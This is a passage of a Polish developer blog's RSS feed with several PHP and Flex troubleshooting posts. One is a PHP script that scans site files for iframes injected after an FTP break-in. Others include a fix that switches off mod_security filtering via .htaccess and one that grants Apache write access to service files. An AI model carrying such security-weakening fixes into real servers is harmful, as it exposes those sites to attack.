<p>Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające &#8216;index&#8217; w nazwie i sygnalizujący wystąpienia taga &lt;iframe&gt;. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr <i>depth</i> określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?
<span style="color: #666666; font-style: italic;">// katalog główny strony</span>
<span style="color: #000088;">$root</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/public_html'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// głębokość sprawdzania w podkatalogach</span>
<span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #cc66cc;">5</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// uruchomienie</span>
digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$root</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// rekurencyjna funkcja sprawdzająca</span>
<span style="color: #000000; font-weight: bold;">function</span> digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$level</span> <span style="color: #339933;">&lt;=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$dir</span>/<span style="color: #006699; font-weight: bold;">$plik</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">//$data = date(&quot;Y-m-d&quot;, filemtime($path));</span>
				<span style="color: #666666; font-style: italic;">//$prawa = decoct(fileperms($path));</span>
&nbsp;
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #666666; font-style: italic;">//$rozmiar = filesize($path);</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/index/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$plik</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
						<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
						<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/iframe/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$contents</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;znaleziono iframe w <span style="color: #006699; font-weight: bold;">$path</span>&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>			
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WIELKIE LITERY po dekodowaniu e-maila przez PHP</title>
		<link>http://nobigwords.ntxt.net/2009/03/09/wielkie-litery-po-dekodowaniu-e-maila-przez-php/</link>
		<comments>http://nobigwords.ntxt.net/2009/03/09/wielkie-litery-po-dekodowaniu-e-maila-przez-php/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 11:27:27 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[dekodowanie]]></category>
		<category><![CDATA[duże litery]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[headers]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[imap_open]]></category>
		<category><![CDATA[imap_utf8]]></category>
		<category><![CDATA[wielkie litery]]></category>
		<category><![CDATA[wielkość liter]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=104</guid>
		<description><![CDATA[Jest bug w PHP 5.2.4 w funkcji imap_utf8, który powoduje, że wszystkie zwracane teksty są pisane wielkimi literami. Bug poprawiono w kolejnych wersjach rozszerzenia, ale nie wszyscy mogą łatwo zaktualizować sobie PHP ;). Dość łatwe obejście zaproponowano na tym forum, czyli zamiast: $subject = imap_utf8&#40;$headers-&#38;gt;Subject&#41;; piszemy: $subject = iconv_mime_decode&#40;$header-&#38;gt;subject,0,&#34;UTF-8&#34;&#41;; zakładając oczywiście że mamy dostęp do [...]]]></description>
			<content:encoded><![CDATA[<p>Jest bug w PHP 5.2.4 w funkcji imap_utf8, który powoduje, że wszystkie zwracane teksty są pisane wielkimi literami. Bug poprawiono w kolejnych wersjach rozszerzenia, ale nie wszyscy mogą łatwo zaktualizować sobie PHP ;). Dość łatwe obejście zaproponowano na <a href="http://forums.cerb4.com/archive/index.php/t-502.html">tym forum</a>, czyli zamiast:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$subject</span> <span style="color: #339933;">=</span> <span style="color: #990000;">imap_utf8</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$headers</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>Subject<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>piszemy:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$subject</span> <span style="color: #339933;">=</span> <span style="color: #990000;">iconv_mime_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>subject<span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;UTF-8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>zakładając oczywiście że mamy dostęp do<a title="opis iconv w manualu PHP" href="http://pl.php.net/iconv" target="_blank"> iconv</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/03/09/wielkie-litery-po-dekodowaniu-e-maila-przez-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rozpoznawanie lokalizacji użytkownika</title>
		<link>http://nobigwords.ntxt.net/2008/09/18/rozpoznawanie-lokalizacji-uzytkownika/</link>
		<comments>http://nobigwords.ntxt.net/2008/09/18/rozpoznawanie-lokalizacji-uzytkownika/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 18:34:03 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[noweklucze]]></category>
		<category><![CDATA[re:solutions]]></category>
		<category><![CDATA[GeoIP]]></category>
		<category><![CDATA[geokodowanie]]></category>
		<category><![CDATA[mapy]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=43</guid>
		<description><![CDATA[Ośmieliłem się wreszcie przetestować GeoIP MaxMind &#8211; działa. O ile wersja darmowa czasem myli się o kilkaset kilometrów (Leszno zamiast Kielc, okolice Lublina zamiast Zabrza), to wersja City już raczej trafia. Jedna tylko sprawa była do zmiany &#8211; mamy autoload klas w PHP, a oryginalny, PECLowski kod wymuszał ładowanie z konkretnego katalogu ścieżką bezwzględną. &#8216;Wykomentowałem&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p>Ośmieliłem się wreszcie przetestować GeoIP MaxMind &#8211; działa. O ile wersja darmowa czasem myli się o kilkaset kilometrów (Leszno zamiast Kielc, okolice Lublina zamiast Zabrza), to wersja City już raczej trafia. Jedna tylko sprawa była do zmiany &#8211; mamy autoload klas w PHP, a oryginalny, PECLowski kod wymuszał ładowanie z konkretnego katalogu ścieżką bezwzględną. &#8216;Wykomentowałem&#8217; require i chodzi samo.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2008/09/18/rozpoznawanie-lokalizacji-uzytkownika/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AMFPHP i błąd 403 &#8211; Forbidden</title>
		<link>http://nobigwords.ntxt.net/2008/07/30/amfphp-i-blad-403-permission-denied/</link>
		<comments>http://nobigwords.ntxt.net/2008/07/30/amfphp-i-blad-403-permission-denied/#comments</comments>
		<pubDate>Wed, 30 Jul 2008 21:54:09 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[AMF]]></category>
		<category><![CDATA[AMFPHP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[usługi]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=28</guid>
		<description><![CDATA[Długo szukałem rozwiązania problemu, jaki pojawił się po przeniesieniu aplikacji AMFPHP z Windows na Linuksa. Skrypt gateway.php wywoływany z &#8216;palca&#8217;, czyli z URLa http://serwer/gateway.php odpowiadał prawidłowo. Browser już gorzej &#8211; nie wyświetlał prawego panelu z listą metod, a FireBug poproszony o przedstawienie odpowiedzi serwera napisał o błędzie 403 &#8211; Forbidden. Ciekawe, że w Google nie [...]]]></description>
			<content:encoded><![CDATA[<p>Długo szukałem rozwiązania problemu, jaki pojawił się po przeniesieniu aplikacji <a title="AMFPHP - zdalne usługi w ActionScript" href="http://www.amfphp.org/" target="_blank">AMFPHP </a>z Windows na Linuksa. Skrypt gateway.php wywoływany z &#8216;palca&#8217;, czyli z URLa http://serwer/gateway.php odpowiadał prawidłowo. Browser już gorzej &#8211; nie wyświetlał prawego panelu z listą metod, a FireBug poproszony o przedstawienie odpowiedzi serwera napisał o błędzie <em>403 &#8211; Forbidden.</em> Ciekawe, że w Google nie znalazłem nic konkretnego, na jednym tylko forum wskazówkę, że chodzi o prawa dostępu. To akurat było łatwe do wydedukowania. Śledztwo wykazało winnego &#8211; w skrypcie /core/shared/util/MethodTable.php, w linii 164 wywoływana jest funkcja <em>touch($sourcePath) , </em>gdzie $sourcePath wskazuje na nazwę uruchamianej usługi. Wystarczy ustawić Apaczowi prawo do zapisu pliku usługi (np. /services/Usluga.php) i od razu jest lepiej.</p>
<p>Piszą o <a title="Wprowadzenie do Flash Remoting" href="http://www.flashzone.pl/item/2497/Wprowadzenie-do-Flash-Remoting-na-podstawie-AMFPHP/" target="_blank">AMFPHP na flashzone.pl</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2008/07/30/amfphp-i-blad-403-permission-denied/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upload plików we Fleksie</title>
		<link>http://nobigwords.ntxt.net/2008/02/04/upload-plikow-we-fleksie/</link>
		<comments>http://nobigwords.ntxt.net/2008/02/04/upload-plikow-we-fleksie/#comments</comments>
		<pubDate>Mon, 04 Feb 2008 11:43:18 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[flex]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[multi]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[upload]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=5</guid>
		<description><![CDATA[Prosta sprawa, ale postanowiłem zacząć od Google. Znalazłem fajny, gotowy komponent do uploadu całej listy plików, ale&#8230; trochę nie działał. Przestudiowałem dokumentację, potem kilka forów i wreszcie na CodingCowboys: jest. Okazało się, że Flex ma błąd w uploadzie i wysyła plik bez kończącego znacznika MIME. Aby to obejść wystarczy dodać plik .htaccess, a w nim [...]]]></description>
			<content:encoded><![CDATA[<p>Prosta sprawa, ale postanowiłem zacząć od Google. Znalazłem fajny, gotowy <a href="http://weblog.cahlan.com/2006/12/flex-upload-component.html" title="komponent Flex do uploadu" target="_blank">komponent do uploadu</a> całej listy plików, ale&#8230; trochę nie działał. Przestudiowałem dokumentację, potem kilka forów i wreszcie na CodingCowboys: jest. Okazało się, że Flex ma błąd w uploadzie i wysyła plik bez kończącego znacznika MIME. Aby to obejść wystarczy dodać plik .htaccess, a w nim dwie linijki (dla Apache/Linux):</p>
<p><code>SecFilterEngine Off<br />
SecFilterScanPOST Off</code></p>
<p>Działa. Załączam lekko skorygowane  pliki Flex i PHP. W aplikacji wstawiamy coś takiego:</p>
<p><code><br />
&lt;com:FileUpload<br />
width="100%" height="100%"<br />
uploadUrl="http://nucom.ntxt.net/upload.php"<br />
uploadComplete="Alert.show('File(s) have been uploaded.', 'Upload successful')"<br />
uploadIOError="Alert.show('IO Error in uploading file.', 'Error')"<br />
uploadSecurityError="Alert.show('Security Error in uploading file.', 'Error')"/&gt;<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2008/02/04/upload-plikow-we-fleksie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

